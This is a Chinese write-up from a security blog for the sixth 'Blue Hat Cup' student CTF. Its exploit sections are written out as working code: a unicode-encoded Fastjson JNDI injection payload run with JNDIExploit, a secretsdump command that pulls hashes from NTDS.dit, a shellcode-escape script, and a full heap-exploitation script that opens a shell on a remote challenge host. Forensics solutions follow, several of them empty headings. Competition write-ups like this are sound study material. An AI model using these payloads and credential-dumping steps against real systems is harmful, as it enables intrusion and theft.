点击蓝字 · 关注我们
1
Ez_gadget
我们将payload进行unicode编码然后
str=kQNH2XQ6eudIQEFB&input={"u0040u0074u0079u0070u0065":"u006fu0072u0067u002eu0061u0070u0061u0063u0068u0065u002eu0078u0062u0065u0061u006eu002eu0070u0072u006fu0070u0065u0072u0074u0079u0065u0064u0069u0074u006fu0072u002eu004au006eu0064u0069u0043u006fu006eu0076u0065u0072u0074u0065u0072","qqq":"payload"}
java -jar JNDIExploit.jar -i vpsip
payload编码后发过去
1
domainhacker
流量中发现一个rar包和多个base加密代码
2
domainhacker2
解密
python .secretsdump.py -system SYSTEM -ntds .ntds.dit LOCAL -history
1
EscapeShellcode
from pwn import*
context(arch='amd64',os='linux')
sh=process('./escape_shellcode')
#sh=remote("39.106.156.74",23470)
#start=0
start=0x500000000000
#addr=0x5633c143f000
code='''
mov rdi,1
mov rsi,{}
mov r12,0xfffff0000000
mov r15,0x1000#r15储存偏移
mov rdx,0x1000#打印长度设置为0x1000
mov rax,1
syscall#write(rdi,rsi,rdx)
mov rsi,rcx#write执行后rcx 储存着shllcode的相关地址
and rsi,r12#丢弃后28位
add rsi,r15#rsi=rsi+偏移地址
add r15,0x1000#偏移递增0x1000
jmp $-0x19#循环 跳转到mov rax,1
'''.format(start)
payload=asm(code)
#gdb.attach(sh)
#pause()
sh.sendline(payload)
sh.recvuntil("flag{")
flag=b'flag{'+sh.recvuntil("}")
print(flag)
2
Bank
Trasnfer功能
-
admin至少给0x1F, 可以越界读堆:
malloc_0x18[num]
-
hacker至少给0x33, 可以任意地址free
-
guest: malloc(0x10) 并读入0x10数据
-
ghost: realloc(ptr, sz), 0<sz<=0x100
-
abyss: *malloc_0x18=Read_ul() 并且exit(0)
思路:
-
free原语: realloc()先变大再变小, 就可以释放原来挺ptr指向的chunk
-
由于不知道libc地址, 先假设就是2.27, free chunk后进入tcache, 读出key字段就可获取tcache的地址, 打远程发现确实如此. 从而获取堆地址heap_addr
-
有了后续通过任意地址free尝试释放malloc_0x18的chunk, 结果发现heap_addr+0x2a0才能正确释放到, 因此libc至少是2.31
-
后续要通过堆喷射伪造一个UB chunk, 然后利用任意地址free释放到UB中, 然后再越界读出来, 从而获取libc地址
-
abyss有个任意写+exit(0), 显然就是劫持劫持rtld_global中的函数指针, 触发OGG
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
libc = ELF("./libc.so.6")
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("47.94.194.27", 45092)
def Cmd(s):
sh.sendlineafter("Click: ", s)
def Deposit(num):
Cmd("Deposit")
sh.sendlineafter("How Much? ", str(num))
def Put(num):
Cmd("Put")
sh.sendlineafter("How Much? ", str(num))
def Info():
Cmd("Info")
def Login(card, pwd):
Cmd("Login")
sh.sendlineafter(": ", card)
sh.sendlineafter(": ", pwd)
def Transfer(who, num):
Cmd("Transfer")
sh.sendlineafter("who? ", who)
sh.sendlineafter("How much? ", str(num))
# malloc_0x18[num]
def ReadHeap(num):
Transfer("admin", num)
def FreeAddr(addr):
Transfer("hacker", 0x33)
sh.recvuntil("hacker: Great!n")
sh.sendline(str(addr))
def Malloc_0x10(data):
Transfer("guest", 6)
sh.recvuntil("data: ")
sh.send(data)
def Realloc(sz):
Transfer("ghost", 0xB)
sh.recvuntil('ghost: &^%$#@! :)n')
sh.sendline(str(sz))
# malloc_0x18 = addr
def SetPtr(addr):
Transfer("abyss", 0)
sh.sendline(str(addr))
def GDB():
gdb.attach(sh, '''
telescope (0x0000555555554000+0x203010) 1
telescope (0x0000555555554000+0x203050) 1
telescope (0x0000555555554000+0x2030A8) 1
break *(0x7ffff7e1ea25 )
#conti
''')
Login("1"*0x10, "2"*0x6)
# be rich
cash = 0x190
for i in range(0x28):
Put(cash)
Deposit(cash)
Put(cash)
cash*=2
for i in range(8):
Malloc_0x10(str(i)*0x10)
Realloc(0x100)
Realloc(0x1)
ReadHeap(0x148/8)
sh.recvuntil("I think ")
heap_addr = int(sh.recvuntil(" is", drop=True), 16)-0x10
Log("heap_addr")
Malloc_0x10(flat(0, 0x421))
for i in range(32):
Malloc_0x10(p64(i)*2)
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
FreeAddr(heap_addr+0x4d0+0x10)
ReadHeap(0x240/0x8) # be0
sh.recvuntil("I think ")
libc.address = int(sh.recvuntil(" is", drop=True), 16)-0x1ebbe0
Log("libc.address")
ReadHeap(((libc.symbols['_rtld_global']-(heap_addr+0x2a0))/8))
sh.recvuntil("I think ")
ld_addr = int(sh.recvuntil(" is", drop=True), 16)
Log("ld_addr")
rtld_global_hook = ld_addr+0xf08
Log("rtld_global_hook")
FreeAddr(heap_addr+0x2a0)
Malloc_0x10(p64(rtld_global_hook)*2)
SetPtr(libc.address+0xe6c7e)
sh.interactive()
1
网站取证_1
2
网站取证_2
3
网站取证_3
4
网站取证_4
将数据库导入到本地数据库,然后将2022-04-02 00:00:00-2022-04-18 23:59:59的张宝和王子豪的记录取出来,还有汇率取出来放着。
import base64
import hashlib
sum = 0
p = [0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]
with open('./data.txt','r') as f:
d = f.readlines()
for i in range(len(d)):
key = hashlib.md5(b'jyzg123456').hexdigest()
x = 0
char = ''
s = ''
if d[i].strip().split()[6] == '5,' and d[i].strip().split()[7] == '3,':
data = base64.b64decode(d[i].strip().split()[-1])
date = int(d[i].strip().split()[4][9:11]) - 2
for i in range(len(data)):
if x == len(key):
x = 0
char += key[x:x + 1]
x += 1
for i in range(len(data)):
if ord(data[i:i + 1]) < ord(char[i:i + 1]):
s += chr(ord(data[i:i + 1]) + 256 - ord(char[i:i + 1]))
else:
s += chr(ord(data[i:i + 1]) - ord(char[i:i + 1]))
sum += float(s) * p[date]
else:
continue
print(sum)
1
程序分析_1
雷电App智能分析软件中的基本信息里,就有应用包名。
2
程序分析_2
雷电App智能分析软件中有个主活动以及主函数名,就是程序入口。
3
程序分析_3
雷电App智能分析中有个工具箱,用Jadx工具打开分析,在主入口中找到了一串base64的加密字符串,就是程序服务器地址的密文。
4
程序分析_4
1
手机取证_1
2
手机取证_2
1
计算机取证_2
2
计算机取证_2
3
计算机取证_3
打开即可
4
计算机取证_4
解开容器发现一个压缩包
然后爆破压缩包密码即可
Tip
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论